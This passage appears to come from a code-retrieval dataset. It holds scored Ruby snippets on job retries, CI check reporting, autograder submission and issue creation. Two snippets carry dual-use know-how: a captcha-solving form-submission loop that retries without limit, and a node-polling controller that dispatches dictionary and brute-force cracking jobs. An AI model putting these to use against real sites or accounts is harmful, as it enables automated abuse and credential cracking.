installation_client.patch(@payload['check_run']['url'], opts)\n\n result.attrs\n end", "title": "" }, { "docid": "c72c07a542473ccbe8971e298dba2df6", "score": "0.51948684", "text": "def handle_error(err, service, retries)\n logger.warn(err)\n if retries.positive?\n service.invite_status.waiting!\n CreateGitHubRepositoryNewJob.perform_later(service.assignment, service.collaborator, retries: retries - 1)\n else\n service.invite_status.errored_creating_repo!\n CreateGitHubRepoService::Broadcaster.call(service.exercise, err, :error)\n service.report_error(err)\n end\n end", "title": "" }, { "docid": "9007e8718939b29b62609017f24f0219", "score": "0.5192096", "text": "def status!(id, retries = nil, duration = nil)\n retries ||= self.retries\n duration ||= self.duration\n ret = nil\n retries.times do\n begin\n ret = status id\n if ret &&\n ret[:status] &&\n ret[:status] =~ /[a-z]/i &&\n ret[:status] !~ /sent to judge|(?:pend|queu|compil|link|runn|judg)ing/i\n return ret\n end\n rescue\n end\n sleep duration\n end\n return ret if ret\n raise OperationFailureError, \"Fail to get status\"\n end", "title": "" }, { "docid": "b7eaffaa1d46e3aa33cdafc43417f2be", "score": "0.5191179", "text": "def sendJob(course, assessment, submissions, cud)\n extend_config_module(assessment, submissions[0], cud)\n\n # Get the autograding properties for this assessment.\n @autograde_prop = assessment.autograder\n return -2 unless @autograde_prop\n\n # send the tango open request\n begin\n existing_files = TangoClient.open(\"#{course.name}-#{assessment.name}\")\n rescue TangoClient::TangoException => e\n flash[:error] = \"Error with open request on Tango: #{e.message}\"\n COURSE_LOGGER.log(\"#{e.message}\")\n return -1\n end\n\n # send the tango upload requests\n status, upload_file_list = tango_upload(course, assessment, submissions[0], existing_files)\n return status if status < 0\n\n status, dave = save_daves(submissions)\n return status if status < 0\n\n output_file = get_output_file(assessment, submissions[0])\n callback_url = get_callback_url(course, assessment, submissions[0], dave)\n job_name = get_job_name(course, assessment, submissions[0])\n\n status, response_json = tango_add_job(course, assessment, upload_file_list,\n callback_url, job_name, output_file)\n return status if status < 0\n\n # If autolab user opts not to use a callback URL, we poll the job for 80 seconds\n if callback_url.blank?\n status = tango_poll(course, assessment, submissions, output_file)\n return status if status < 0\n end\n\n response_json[\"jobId\"].to_i\n end", "title": "" }, { "docid": "1201901377174b8198c6fc521d4ed0be", "score": "0.51874393", "text": "def retry\n self.class.enqueue(\n object,\n method_name,\n *(args << {\n :job_options => {\n :parent_id => parent_id || id,\n :run_at => Time.now + times_failed ** 4,\n :priority => priority\n }\n })\n )\n end", "title": "" }, { "docid": "4035dbe3316a8c0e30bafac122203542", "score": "0.517856", "text": "def perform\n throw 'Missing `environment_id` association' unless environment_id\n retries = environment.retries\n begin\n # Perform an HTTP GET request using cURL.\n curl = request(environment.url, environment.timeout)\n\n # Record a few measurements from the request instance.\n [:name_lookup_time, :start_transfer_time,\n :total_time, :downloaded_bytes].each do |sym|\n send(\"#{sym}=\", curl.send(sym))\n end\n\n # At this point, a Curl::Err exception has not been thrown. However,\n # we'll only consider the site to be healthy if a 200 OK response code\n # has been received.\n if curl.response_code == 200\n self.healthy = true\n else\n self.error = \"response code was: #{curl.response_code}\"\n end\n # Rescues any kind of exception, including Curl::Err:\n # http://curb.rubyforge.org/classes/Curl/Err.html\n rescue Exception => e\n if retries > 0\n retries -= 1\n print \"retrying in #{environment.between_retries_wait}s...\"\n # Cause the console output to refresh in case someone is watching this\n # live.\n STDOUT.flush\n sleep(environment.between_retries_wait)\n retry\n else\n self.error = \"an exception occurred: #{e}\"\n end\n end\n # Calculate and record the number of retries used.\n self.retries_used = environment.retries - retries\n\n self.save\n end", "title": "" }, { "docid": "670e994b3e381fb23247c4b9b2e40e31", "score": "0.51576513", "text": "def handleCaptchaAndSubmit(reg_page)\n\treg_form = nil\n\tsuccess_bool = false\n\tattempt_num = 0\n\t\n\tif($captcha_mode == 1)\n\t\t#auto with N retries before moving on\n\t\twhile success_bool == false && attempt_num < $auto_retry_limit\n\t\t\tcomplete_form = fillFormWithCaptchaResult(findFormInCurrPage(reg_page), autoCaptcha(getCaptchaImage(reg_page)))\n\t\t\twinner_or_error_page = $agent.submit(complete_form)\n\t\t\tsuccess_bool = isSuccess(winner_or_error_page)\n\t\t\t#set reg_page to our winner_or_error_page so next iteration, if it happens, will use that page instead of old stale data\n\t\t\treg_page = winner_or_error_page\n\t\tend\n\t\treturn success_bool\n\telsif($captcha_mode == 2)\n\t\t#manual with N retries before moving on\n\t\twhile success_bool == false && attempt_num < $manual_retry_limit\n\t\t\tcomplete_form = fillFormWithCaptchaResult(findFormInCurrPage(reg_page),manualCaptcha(getCaptchaImage(reg_page)))\n\t\t\twinner_or_error_page = $agent.submit(complete_form)\n\t\t\tsuccess_bool = isSuccess(winner_or_error_page)\n\t\t\treg_page = winner_or_error_page\n\t\tend\n\t\treturn success_bool\n\telsif($captcha_mode == 3)\n\t\t#auto with unlimited retries\n\t\twhile success_bool == false\n\t\t\tcomplete_form = fillFormWithCaptchaResult(findFormInCurrPage(reg_page), autoCaptcha(getCaptchaImage(reg_page)))\n\t\t\twinner_or_error_page = $agent.submit(complete_form)\n\t\t\tsuccess_bool = isSuccess(winner_or_error_page)\n\t\t\treg_page = winner_or_error_page\n\t\tend\n\t\treturn success_bool\n\telsif($captcha_mode == 4)\n\t\t#manual with unlimited retries\n\t\twhile success_bool == false\n\t\t\tcomplete_form = fillFormWithCaptchaResult(findFormInCurrPage(reg_page),manualCaptcha(getCaptchaImage(reg_page)))\n\t\t\twinner_or_error_page = $agent.submit(complete_form)\n\t\t\tsuccess_bool = isSuccess(winner_or_error_page)\n\t\t\treg_page = winner_or_error_page\n\t\tend\n\t\treturn success_bool\n\telse\n\t\tputs \"You entered an invalid captcha mode. Only 1-4 are supported currently.\"\n\t\texit\n\tend\nend", "title": "" }, { "docid": "23043c62a27f2964a41be00b1da4f5b0", "score": "0.5152378", "text": "def retry!\n raise 'Not implemented!'\n end", "title": "" }, { "docid": "e383dfdfca1999c41a06b27942c26f5a", "score": "0.5144645", "text": "def report_check_suite_success\n data = params\n check_suite = data[:check_suite]\n conclusion = check_suite[:conclusion]\n branch = check_suite[:head_branch]\n pull_requests = check_suite[:pull_requests]\n pull_request = pull_requests[0]\n sha = check_suite[:head_sha]\n check_suite_status = check_suite[:status]\n repository = data[:repository]\n repo_name = repository[:name]\n repo_url = repository[:html_url]\n app_name = check_suite[:app][:name]\n sender_login = data[:sender][:login]\n pr_number = pull_request[:number] if pull_request.present?\n branch_path = ''\n branch_path = \"/tree/#{branch}\" if branch != 'master'\n\n # We are only interested in completed successes\n return if check_suite_status != 'completed' || conclusion != 'success' || sender_login == 'SmokeDetector'\n\n message = \"[ [#{repo_name}](#{repo_url}) ]\"\n message += \" #{app_name}:\"\n message += if pull_request.present?\n \" [#{conclusion}](#{repo_url}/pull/#{pr_number}/checks?sha=#{sha})\"\n else\n \" [#{conclusion}](#{repo_url}/commit/#{sha}/checks)\"\n end\n message += \" on [#{sha.first(7)}](#{repo_url}/commit/#{sha.first(10)})\"\n message += \" by #{sender_login}\" if sender_login.present?\n message += \" in the [#{branch}](#{repo_url}#{branch_path}) branch\" if branch.present?\n message += \" for [PR ##{pr_number}](#{repo_url}/pull/#{pr_number})\" if pull_request.present?\n\n # We don't want to send more than one message for this SHA with the same conclusion within 20 minutes.\n # This counter expires from Redis in 20 minutes.\n ci_counter = Redis::CI.new(\"check_suite_#{conclusion}_#{sha}\")\n ci_counter.sucess_count_incr\n ActionCable.server.broadcast 'smokedetector_messages', message: message if ci_counter.sucess_count == 1\n end", "title": "" }, { "docid": "51e514bf76d5e058fd4fd1dd2cf6c152", "score": "0.5133999", "text": "def ok?\n run unless ran?\n\n @status.success?\n end", "title": "" }, { "docid": "f04cd6dc36dda0d0eb0328d45c0c1d8f", "score": "0.5131271", "text": "def send_result(test_case,result,id,testrun)\n testrail_status = case \n when result.passed?\n {id:1,comment: 'passed'}\n when result.failed?\n {id:5,comment: 'failed'}\n when result.undefined?\n {id:7,comment: 'undefined step'}\n when result.pending?\n {id:6,comment: 'pending step'}\n end\n unless result.passed?\n # the before step can fail. So we have to check\n if @failed_step[:step].source.last.is_a?(Cucumber::Hooks::BeforeHook)\n failed_step = 'failed in the before hook'\n location = 'before hook'\n elsif @failed_step[:step].source.last.is_a?(Cucumber::Hooks::AfterHook)\n failed_step = 'failed in the after hook'\n location = 'after hook'\n else\n failed_step = \"#{@failed_step[:step].source.last.keyword}#{@failed_step[:step].source.last.name}\"\n location=@failed_step[:step].source.last.file_colon_line\n end\n failure_message = <<-FAILURE\n Error message: #{testrail_status[:comment]} #{result.exception.message}\n Step: #{failed_step}\n Location: #{location}\n FAILURE\n else\n failure_message = nil\n end\n #only send defects if the test is not passed\n report_on_result = {status_id:testrail_status[:id],comment:failure_message,defects:testrail_status[:id]==1 ? '' : defects(test_case)}\n begin\n testrail_api_client.send_post(\"add_result_for_case/#{testrun}/#{id}\",report_on_result)\n rescue => e\n if e.message =~ /No \\(active\\) test found for the run\\/case combination/\n add_case_to_test_run(id,testrun)\n retry\n else\n puts \"#{e.message} testrun=#{testrun} test case id=#{id}\"\n end\n end\n end", "title": "" }, { "docid": "d7d3ed9781130409a47a650ce3e78220", "score": "0.5131054", "text": "def communicate_failure\n File.open(\"#{@options[:output_directory]}/failed.job\", 'w') { |f| f << \"Failed Workflow #{::Time.now} #{@options}\" }\n raise 'Missing required options' unless @options[:url] && @options[:datapoint_id] && @options[:project_id]\n send_status('Failed')\n send_file(\"#{@options[:output_directory]}/run.log\")\n Dir.glob(\"#{@options[:output_directory]}/../reports/*\").each { |f| send_file(f) }\n end", "title": "" }, { "docid": "d36619e84a92e5aa4601b772fdde6154", "score": "0.512591", "text": "def perform\n\n handle_errors_and_exceptions do\n\n r = validate\n return r unless r.success?\n\n r = fetch_client_manager\n return r unless r.success?\n\n r = validate_invitee_manager_exists\n return r unless r.success?\n\n r = create_invite_token\n return r unless r.success?\n\n r = enqueue_job\n return r unless r.success?\n\n success\n\n end\n\n end", "title": "" }, { "docid": "18d95deebcd75fc5ab1ed1307fe184b5", "score": "0.5124863", "text": "def log_submit\n @user = User.find_by(email: params[:user])\n @cud = @user ? @course.course_user_data.find_by(user_id: @user.id) : nil\n unless @cud\n err = \"ERROR: invalid username (#{params[:user]}) for class #{@course.id}\"\n render(plain: err, status: :bad_request) && return\n end\n\n @assessment = @course.assessments.find_by(name: params[:name])\n if !@assessment\n err = \"ERROR: Invalid Assessment (#{params[:id]}) for course #{@course.id}\"\n render(plain: err, status: :bad_request) && return\n elsif !@assessment.allow_unofficial\n err = \"ERROR: This assessment does not allow Log Submissions\"\n render(plain: err, status: :bad_request) && return\n end\n\n @result = params[:result]\n render(plain: \"ERROR: No result!\", status: :bad_request) && return unless @result\n\n # Everything looks OK, so append the autoresult to the log.txt file for this lab\n ASSESSMENT_LOGGER.setAssessment(@assessment)\n ASSESSMENT_LOGGER.log(\"#{@user.email},0,#{@result}\")\n\n # Load up the lab.rb file\n mod_name = @assessment.name + (@course.name).gsub(/[^A-Za-z0-9]/, \"\")\n require(Rails.root.join(\"assessmentConfig\", \"#{@course.name}-#{@assessment.name}.rb\"))\n eval(\"extend #{mod_name.camelcase}\")\n\n begin\n # Call the parseAutoresult function defined in the lab.rb file. If\n # the list of scores it returns is empty, then we the lab developer is\n # asking us not to create an unofficial submission in the\n # database. Simply return a successful status string to the client and\n # exit.\n scores = parseAutoresult(@result, false)\n\n render(plain: \"OK\", status: 200) && return if scores.keys.length == 0\n\n # Try to find an existing submission (always version 0).\n submission = @assessment.submissions.find_by(version: 0, course_user_datum_id: @cud.id)\n if !submission\n submission = @assessment.submissions.new(\n version: 0,\n autoresult: @result,\n user_id: @cud.id,\n submitted_by_id: 0,\n )\n submission.save!\n else\n # update this one\n submission.autoresult = @result\n submission.created_at = Time.now\n submission.save!\n end\n\n # Update the scores in the db's unofficial submission using the list\n # returned by the parseAutoresult function\n scores.keys.each do |key|\n problem = @assessment.problems.find_by(name: key)\n score = submission.scores.find_or_initialize_by(problem_id: problem.id)\n score.score = scores[key]\n score.released = true\n score.grader_id = 0\n score.save!\n end\n rescue StandardError => e\n ExceptionNotifier.notify_exception(e, env: request.env,\n data: {\n user: current_user,\n course: @course,\n assessment: @assessment,\n submission: submission,\n })\n COURSE_LOGGER.log(e.to_s)\n end\n\n render(plain: \"OK\", status: 200) && return\n end", "title": "" }, { "docid": "d79308cbc650a90f63add32c0c5b3c72", "score": "0.51222", "text": "def cancel!(ref = 'SIMP-7974')\n warn( \"acquiring group projects\")\n projects = select_projects( @client_helper.projects_for_group, SKIPPED_PROJECTS )\n\n pupmod_projects = projects.select{|x| x['name'] =~ /\\Apupmod-simp/}\n warn pupmod_projects.map{|x| x['name']}.sort\n\n target_project_pipelines = projects.map do |project|\n project_ref_pipelines(project, ref, ['pending', 'running'])\n end\n\n project_pipelines = Hash[target_project_pipelines.reject(&:nil?)]\n project_pipelines.each do |proj_name, pipelines|\n project = projects.select{ |x| x['name'] == proj_name }.first\n pipelines.each do |pipeline|\n warn \"!! Cancelling pipeline #{pipeline['id']}: #{pipeline['web_url']}\"\n @client.cancel_pipeline(project['id'], pipeline['id'])\n end\n\n end\n require 'pry'; binding.pry\n\n### # Workaround: Sometimes .service just returns `false` instead of a data structure with a nil 'id'\n### raw_github_integration = @client.service(project['id'], :github)\n### unless raw_github_integration\n### puts \" !!!!!! client.service(project['id'], :github) returned false (investigate later) !!!!\"\n### next\n### require 'pry'; binding.pry\n### end\n###\n### github_integration = raw_github_integration.to_h\n### gh_int = !github_integration['id'].nil?\n### gh_int_status = gh_int ? github_integration['properties']['repository_url'] : '**NO GITHUB INTEGRATION**'\n### puts \" #{gh_int_status}\"\n###\n### # puts \" - #{project['web_url']}/-/settings/integrations\"\n### unless gh_int\n### skip = dry_run\n### puts \" - #{project['web_url']}\"\n### if skip\n### warn \" - SKIPPING: because dry_run = true\"\n### next\n### end\n### # https://docs.gitlab.com/ee/api/services.html#createedit-github-service\n### github_url = project['web_url'].gsub('gitlab.com', 'github.com')\n###\n### begin\n### @client.change_service(project['id'], :github, { token: token, repository_url: github_url, static_context: true })\n### github_integration = @client.service(project['id'], 'github').to_h\n### gh_int_status = !github_integration['id'].nil? ? github_integration['properties']['repository_url'] : '**NO GITHUB INTEGRATION**'\n### puts \" -- Updated: #{project['name'].ljust(name_padding-11)} #{gh_int_status}\"\n### rescue Gitlab::Error::Forbidden => e\n### warn\n### warn 'ERROR: Failed to set up missing Gitlab CI/CD <-> GitHub Integration!'\n### warn\n### warn ' HINTS:'\n### warn ' * Make sure you are using a **GitLab** API token with read-write scope'\n### warn \" * To set up the GitHub integration for this repo using the web UI, go to #{project['web_url']}/-/services/github/edit\"\n### warn \"\\n#{e.message.gsub(/^/,' '*9)}\\n\\n\"\n### raise e\n### end\n### end\n### project\n### end\n end", "title": "" }, { "docid": "952feb0230076edf8afa2fbdcdcfbf72", "score": "0.51213753", "text": "def retry_job\n JobTransaction.create(:job_id => params[:id], :status_code => 1, :comments => \"Retry\", :modified_date => Time.now)\n end", "title": "" }, { "docid": "5a6ba5db1f4d9771d840ef3fbc880ba2", "score": "0.51192987", "text": "def queued_tasks(options, analysis_type)\n # Initialize variables for queue dependent actions\n submit_time = Time.now #change to submit time for analysis\n rdata_flag = options[:rdata]\n csv_flag = options[:csv]\n zip_flag = options[:zip]\n download_flag = false\n stop_flag = options[:stop]\n kill_flag = options[:kill]\n warnings = []\n start_wait = options[:start_wait]\n analysis_wait = options[:analysis_wait]\n analysis_type = 'batch_run' if OpenStudio::Analysis::ServerApi::BATCH_RUN_METHODS.include? analysis_type\n\n # Verify download directories and set flags to true should they exist\n if rdata_flag || csv_flag || zip_flag\n if !File.exist? options[:download_directory]\n puts \"INFO: MKDIR -- Making new directory for download results at #{options[:download_directory]}\"\n Dir.mkdir options[:download_directory]\n download_flag = true\n else\n download_flag = true\n end\n end\n\n # Hash commands for run_queued_tasks and warning messages\n flags = {download: download_flag, rdata: rdata_flag, csv: csv_flag, zip: zip_flag, stop: stop_flag, kill: kill_flag}\n completed = {rdata: nil, csv: nil, zip: nil, stop: nil, kill: nil}\n\n # Execute queued tasks should they exist with a Timeout\n puts 'INFO: ANALYSIS STATUS -- Waiting for analysis to start.'\n while Time.now - submit_time < start_wait\n server_status = @server_api.get_analysis_status(@analysis_id, analysis_type)\n if server_status == 'started'\n puts 'INFO: ANALYSIS STATUS -- Analysis has started. Waiting for analysis to complete.'\n returned = run_queued_tasks(analysis_type, options[:download_directory], flags, analysis_wait)\n returned ||= {}\n completed.merge! returned\n break\n elsif server_status == 'failed'\n puts 'WARN: ANALYSIS STATUS -- The analysis status has transitioned to failed. Attempting to execute queued tasks.'\n returned = run_queued_tasks(analysis_type, options[:download_directory], flags, analysis_wait)\n completed.merge! returned\n break\n else\n sleep 1\n end\n end\n\n # Warn if flags were set to true but code not executed.\n if flags[:rdata]\n warnings << 'WARN: TIMEOUT -- RData results were not downloaded due to timeout' unless completed[:rdata]\n end\n\n if flags[:csv]\n warnings << 'WARN: TIMEOUT -- CSV results were not downloaded due to timeout' unless completed[:csv]\n end\n\n if flags[:zip]\n warnings << 'WARN: TIMEOUT -- Zipped files were not downloaded due to timeout' unless completed[:zip]\n end\n\n if flags[:stop]\n warnings << 'WARN: TIMEOUT -- Instance was not stopped due to timeout' unless completed[:stop]\n end\n\n if flags[:kill]\n warnings << 'WARN: TIMEOUT -- Instance was not killed due to timeout' unless completed[:kill]\n end\n\n warnings.join(\". \") if warnings != []\n\nend", "title": "" }, { "docid": "705fbc870b844b8da3e83708834c3233", "score": "0.51135164", "text": "def submit_issue\n if params[:description] == ''\n redirect_to :back, flash: { error: 'Please fill out all required fields.' }\n else\n response = GithubInterface.send_issue(params)\n if response.code == '201'\n redirect_to root_path, flash: { success: 'Issue submitted successfully.' }\n else\n redirect_to root_path, flash: { error: JSON.parse(response.body)['message'] }\n end\n end\n end", "title": "" }, { "docid": "112b33c2af90fc4e744b57f0f1eaee6b", "score": "0.50996095", "text": "def run_failed; end", "title": "" }, { "docid": "66beca2e50cb74a03807853c0cc9ef22", "score": "0.5094205", "text": "def run\n # send logs that get put on the output queue.\n # this needs to be on a separate thread since Queue is a threadsafe blocking queue.\n Thread.new do\n while state == \"running\"\n # pop is blocking, hence we need another check for the state.\n log_line = @output_queue.pop\n send_log(log_line) if state == \"running\"\n end\n end\n\n git_url = command_env(:GIT_URL)\n git_sha = command_env(:GIT_SHA)\n\n setup_repo(git_url, git_sha)\n\n @artifact_path = File.expand_path(\"artifacts\")\n FileUtils.mkdir_p(@artifact_path)\n\n # TODO: set this properly for the fastlane invocation\n ENV[\"FASTLANE_CI_ARTIFACTS\"] = @artifact_path\n\n # TODO: ensure we are able to satisfy the request\n # unless has_required_xcode_version?\n # reject(RuntimeError.new(\"Does not have required xcode version!. This is hardcode to be random.\"))\n # return\n # end\n\n if run_fastlane(@invocation_request.command)\n finish\n else\n # fail is a keyword, so we must call self.\n # rubocop:disable Style/RedundantSelf\n self.fail\n # rubocop:enable Style/RedundantSelf\n end\n end", "title": "" }, { "docid": "8a938c04258d350b8113a675e354eee6", "score": "0.509072", "text": "def run()\n\n\t\t\t\t# start the exception handling block\n\t\t\t\tbegin\n\n\t\t\t\t\tcheck_podspec_exists()\n\n\t\t\t\t\t# lib pod library - if it fails bail immediately\n\t\t\t\t\tif (@skipLibLint)\n\t\t\t\t\t\tUI.message(\"skipping pod lib lint\") if (@verbose)\n\t\t\t\t\telse\n\t\t\t\t\t\tUI.message(\"linting pod locally\") if (@verbose)\n\t\t\t\t\t\tlint_pod_lib()\n\t\t\t\t\tend\n\n\t\t\t\t\tif (@libLintOnly)\n\t\t\t\t\t\tUI.message(\"lib linted ok\")\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\n\t\t\t\t\t# parse podspec, returning bumped version and text for\n\t\t\t\t\t# both the original, and new bumped version podspec\n\t\t\t\t\tinfo = parse_podspec()\n\n\t\t\t\t\tif (@verbose) \n\t\t\t\t\t\tUI.message(\"creating pod:\")\n\t\t\t\t\t\tUI.message(\"\\tpodspec = #{@podspec}\")\n\t\t\t\t\t\tUI.message(\"\\tpodrepo = #{@podrepo}\")\n\t\t\t\t\t\tUI.message(\"\\tversion = #{info.versionString()}\")\n\t\t\t\t\t\tUI.message(\"\\tskipLibLint = #{@skipLibLint}\")\n\t\t\t\t\t\tUI.message(\"\\tnoClean = #{@noClean}\")\n\t\t\t\t\t\tUI.message(\"\\tlibLintOnly = #{@libLintOnly}\")\n\t\t\t\t\tend\n\n\t\t\t\t\t# check new version is greater than any existing tag\n\t\t\t\t\tverbose_message(\"checking version bump ok\")\n\t\t\t\t\tsemantic_validate(info.podversion)\n\n\t\t\t\t\t# save the original podspec to a temporary filename\n\t\t\t\t\toldfname = old_filename()\n\t\t\t\t\t\n\t\t\t\t\tverbose_message(\"saving original podspec to #{oldfname}\")\n\t\t\t\t\tsave_podspec(oldfname, info.original_spec)\n\n\t\t\t\t\t# save the bumped version text to the podspec\n\t\t\t\t\tverbose_message(\"saving new podspec to #{@podspec}\")\n\n\t\t\t\t\tsave_podspec(@podspec, info.update_spec)\n\n\t\t\t\t\t# commit changes\n\t\t\t\t\tverbose_message(\"commit podspec revision: #{info.versionString()}\")\n\n\t\t\t\t\tgit_commit_push(\"commit podspec revision: #{info.versionString()}\")\n\n\t\t\t\t\t# tag changes based on bumped version\n\t\t\t\t\tverbose_message(\"creating new tag: #{info.versionString()}\")\n\n\t\t\t\t\tgit_tag(info.versionString())\n\n\t\t\t\t\t# try to public the podspec, it'll throw if something goes wrong\n\t\t\t\t\tpublish_pod_lib()\n\n\t\t\t\t\tif (@noClean) \n\t\t\t\t\t\tverbose_message(\"noClean set. Skipping clean up step\")\n\t\t\t\t\telse\n\t\t\t\t\t\tverbose_message(\"tidying up old files\")\n\t\t\t\t\t\tdelete_oldpodspec_file(@podspec)\n\t\t\t\t\tend\n\n\t\t\t\t\tUI.message(\"pod version #{info.versionString()} published OK\")\n\n\t\t\t\trescue Exception => error\n\n\t\t\t\t\tUI.message(\"pod create failed with #{error}\")\n\n\t\t\t\t\tif (@noClean) \n\t\t\t\t\t\tverbose_message(\"noClean set. Skipping clean up\")\n\t\t\t\t\telse\n\t\t\t\t\t\tverbose_message(\"rolling back changes\")\n\t\t\t\t\t\trollback_changes(@podspec, info)\n\t\t\t\t\tend\n\n\t\t\t\t\t# rethrow the error, so fastlane fails\n\t\t\t\t\traise error\n\n\t\t\t\tend\n\n\t\t\tend", "title": "" }, { "docid": "6b2977cc2634bc5527105046090e6d05", "score": "0.50891984", "text": "def create_jira_request\n begin\n should_create_issues = VizzyConfig.instance.get_config_value(['jira', 'create_issues'])\n return {success: 'Creating issues is turned off in vizzy.yaml'} unless should_create_issues\n\n set_priority\n create_request_service\n response_body = create_jira\n return response_body if response_body.key?(:error)\n self.jira_key = response_body['key']\n self.jira_link = \"#{self.jira_base_url}/browse/#{self.jira_key}\"\n self.save\n\n add_jira_link_to_test\n\n upload_attachments\n rescue StandardError => e\n Bugsnag.notify(e)\n puts \"HTTP Request failed (#{e.message})\"\n end\n end", "title": "" }, { "docid": "8f0d6fad007da3d649cbb798895aa7bc", "score": "0.5080769", "text": "def perform(request)\n request.update_attribute :status, :working\n request.authorize!\n request.update_attribute :status, :success\n rescue Slack::Error => err\n request.update! status: :error, error: err.to_s\n rescue StandardError\n request.update_attribute :status, :pending\n raise\n end", "title": "" }, { "docid": "a90a556683413568031314205cd5ac0c", "score": "0.5073409", "text": "def wait_for_completion(options = {})\n options = {\n max_lost_retries: 10,\n max_fail_retries: 0,\n poll_duration_in_seconds: 10,\n timeout_in_seconds: 3600\n }.merge(options)\n options[:start_time] ||= Time.now\n if Time.now - options[:start_time] < options[:timeout_in_seconds]\n # When waiting for ids we will hold by monitoring for the result\n # files directly, rather than using the generatic classify routine.\n # This is because the most common use case for this is when jobs\n # are idling remotely on the LSF and don't want to run into contention\n # issues when multiple processes try to classify/save the status.\n if options[:id] || options[:ids]\n ids = extract_ids([options[:id], options[:ids]].flatten.compact)\n if ids.any? { |id| job_running?(id) }\n sleep options[:poll_duration_in_seconds]\n wait_for_completion(options)\n end\n\n else\n classify_jobs\n print_status(print_insructions: false)\n sleep options[:poll_duration_in_seconds]\n classify_jobs\n resumitted = false\n lost_jobs.each do |job|\n if job[:submissions] < options[:max_lost_retries] + 1\n resubmit_job(job)\n resumitted = true\n end\n end\n failed_jobs.each do |job|\n if job[:submissions] < options[:max_fail_retries] + 1\n resubmit_job(job)\n resumitted = true\n end\n end\n classify_jobs\n if outstanding_jobs? || resumitted\n wait_for_completion(options)\n else\n print_status\n end\n end\n end\n end", "title": "" }, { "docid": "4edeb236e07775f418c80f32d5f17ffa", "score": "0.50716597", "text": "def crappy_api_call\n $count += 1\n\n # First two calls fail\n raise \"OH SNAP\" if $count < 3\n\n # Next few calls say pending\n return :pending if $count < 5\n\n # Then finally done\n return :happy\nend", "title": "" }, { "docid": "6ea58bc701b4fbc7f41ec1d100c1bf0b", "score": "0.5067954", "text": "def report_check_run_failure\n data = params\n check_run = data[:check_run]\n check_run_status = check_run[:status]\n sha = check_run[:head_sha]\n workflow_name = check_run[:name]\n conclusion = check_run[:conclusion]\n check_run_url = check_run[:html_url]\n check_suite = check_run[:check_suite]\n app_name = check_run[:app][:name]\n details_url = check_run[:details_url]\n pull_requests = check_suite[:pull_requests]\n pull_request = pull_requests[0]\n branch = check_suite[:head_branch]\n repository = data[:repository]\n repo_name = repository[:name]\n repo_url = repository[:html_url]\n sender_login = data[:sender][:login]\n pr_number = pull_request[:number] if pull_request.present?\n branch_path = ''\n branch_path = \"/tree/#{branch}\" if branch != 'master'\n\n # We are only interested in completed non-success\n return if check_run_status != 'completed' || conclusion == 'success'\n\n message = \"[ [#{repo_name}](#{repo_url}) ]\"\n message += if app_name == 'GitHub Actions'\n \" GitHub Action workflow [#{workflow_name}](#{check_run_url}):\"\n else\n \" Check run [#{workflow_name}](#{check_run_url}):\"\n end\n message += if pull_request.present?\n \" [#{conclusion}](#{repo_url}/pull/#{pr_number}/checks?sha=#{sha})\"\n else\n \" [#{conclusion}](#{details_url})\"\n end\n message += \" on [#{sha.first(7)}](#{repo_url}/commit/#{sha.first(10)})\"\n message += \" by #{sender_login}\" if sender_login.present?\n message += \" in the [#{branch}](#{repo_url}#{branch_path}) branch\" if branch.present?\n message += \" for [PR ##{pr_number}](#{repo_url}/pull/#{pr_number})\" if pull_request.present?\n\n # We don't want to send more than one message for this workflow & sha with the same conclusion within 20 minutes.\n # This counter expires from Redis in 20 minutes.\n ci_counter = Redis::CI.new(\"check_run_#{workflow_name}_#{conclusion}_#{sha}\")\n ci_counter.sucess_count_incr\n ActionCable.server.broadcast 'smokedetector_messages', message: message if ci_counter.sucess_count == 1\n end", "title": "" }, { "docid": "d9b4f754ee6ccccc5c7bd8003fcd7393", "score": "0.50672704", "text": "def poll\n\t\tactive_node = Node.find_by_mac_address(params[:nodeid]) || create_node\n\n\t\tif params[:jobid]\n\t\t\t# check status of current job\n\t\t\tjob = Job.find(params[:jobid])\n\n\t\t\tif job.status == \"active\"\n\t\t\t\trender :json => '{ \"status\": \"active\"}'\n\t\t\telse\n\t\t\t\trender\t:json => '{ \"status\": \"halt\"}'\n\t\t\tend\n\t\telse\n\t\t\t# check if there are any ongoing jobs\n\t\t\tjobs = Job.active\n\n\t\t\t# If there are any, choose one randomly\n\t\t\tif jobs.count > 0\n\t\t\t\tjob_idx = rand(jobs.count - 1)\n\n\t\t\t\tjob = jobs[job_idx]\n\n\t\t\t\t# If it's a dictionary job let's find the work\n\t\t\t\tif job[:attack_type] == \"dictionary\"\n\t\t\t\t\t# Not elegant, but can't directly assign job[:work] = ...\n\t\t\t\t\tjob.work = dictionary_content_for_job(job.id, active_node.id)\n\n\t\t\t\t\tif job.work == \"\"\n\t\t\t\t\t\tjob.status = \"completed\"\n\t\t\t\t\t\tjob.save\n\t\t\t\t\t\treturn :json => '{ \"status\": \"halt\"}'\n\t\t\t\t\tend\n\t\t\t\telsif job[:attack_type] == \"bruteforce\"\n\t\t\t\t\tjob.next_index = job.next_index.nil? ? 0 : job.next_index\n\n\t\t\t\t\tbruteforce_status = BruteforceStatus.create({\n\t\t\t\t\t\t:node_id => active_node.id,\n\t\t\t\t\t\t:job_id => job.id,\n\t\t\t\t\t\t:index => job.next_index\n\t\t\t\t\t})\n\t\t\t\t\t## Calculate next index. We're just going to increase by 50 for now\n\t\t\t\t\tjob.next_index = job.next_index + 50\n\t\t\t\t\tjob.save\n\n\t\t\t\t\t# TODO: Mark job complete if next_index > length\n\t\t\t\t\tkeyspace_size = Bruteforce::totalSize(job.charset)\n\t\t\t\t\tif job.next_index > keyspace_size\n\t\t\t\t\t\tjob.status = \"completed\"\n\t\t\t\t\t\tjob.save\n\t\t\t\t\tend\n\n\t\t\t\tend\n\n\t\t\t\trender :json => job, methods: [:work, :response_flag_meta]\n\t\t\telse\n\t\t\t\trender :json => '{ \"job\": \"none\"}'\n\t\t\tend\n\t\tend\n\n\t\t# mark the client as active\n\t\tactive_node.mark_active\n\tend", "title": "" }, { "docid": "b6eaed920b2ea5b483779c591227f4d1", "score": "0.5066961", "text": "def publish_results\n @contestproblem.corrected!\n \n compute_new_contest_rankings(@contest)\n \n automatic_results_published_post(@contestproblem)\n \n redirect_to @contestproblem\n end", "title": "" }, { "docid": "4a884da5c4be37ba5363bcdfab207903", "score": "0.50647163", "text": "def handle_error(err, assignment, user, invite_status, retries)\n logger.warn(err.message)\n if retries.positive?\n invite_status.waiting!\n CreateGitHubRepositoryJob.perform_later(assignment, user, retries: retries - 1)\n else\n invite_status.errored_creating_repo!\n broadcast_message(\n type: :error,\n message: err,\n assignment: assignment,\n user: user,\n 